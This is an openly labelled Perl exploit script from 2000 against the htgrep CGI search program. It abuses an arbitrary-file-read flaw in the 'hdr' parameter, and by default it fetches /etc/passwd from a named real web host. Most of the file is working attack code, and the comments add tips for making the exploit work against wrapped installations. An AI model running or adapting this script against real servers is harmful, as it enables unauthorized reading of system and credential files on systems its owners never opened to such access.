#!/usr/local/bin/perl 
#
# Htgrep EXPLOIT Script by n30 17/8/2000
#
# For: Unix/Linux all Distro's
#      maybe Winnt?? anyone??
#
# Versions: All upto latest: htgrep v3.0
#
# Info: to find the version number being used:
#
# www.server.com/cgi-bin/htgrep/version
#
# Some ppl use a wrapper for the script thusly
# eliminating the file argument, the sploit will
# still werk just add &hdr=<filename> to the end :-)
#
# if &isindex=<text> is present in the URL REMOVE IT!!!
# or else the exploit won't werk :-)
#
# Mail : n30@gmx.co.uk

use strict;
use LWP::UserAgent;
use HTTP::Request;
use HTTP::Response;
my $ua = new LWP::UserAgent;

# *************************************************
my $TargetHost="www.dematel.com";
my $TargetPath="/cgibin/htgrep";
# SearchFile can commonly be index.html or some other file in the wwwroot
my $SearchFile="index.html";
# FiletoGet ?? think for ur self :-)
my $FiletoGet="/etc/passwd";
# **************************************************

my $url="http://".$TargetHost.$TargetPath."/file=$SearchFile&hdr=$FiletoGet";
print("\nHtgrep Arbitrary File Reading Vulnerability EXPLOIT /n30\n\n");
print("URL: $url\n\n");

my $request = new HTTP::Request('GET', $url);
my $response = $ua->request($request);
if ($response->is_success) {
  print $response->content;
  } else {
  print $response->error_as_HTML;
}
#                    www.hack.co.za           [22 August 2000]#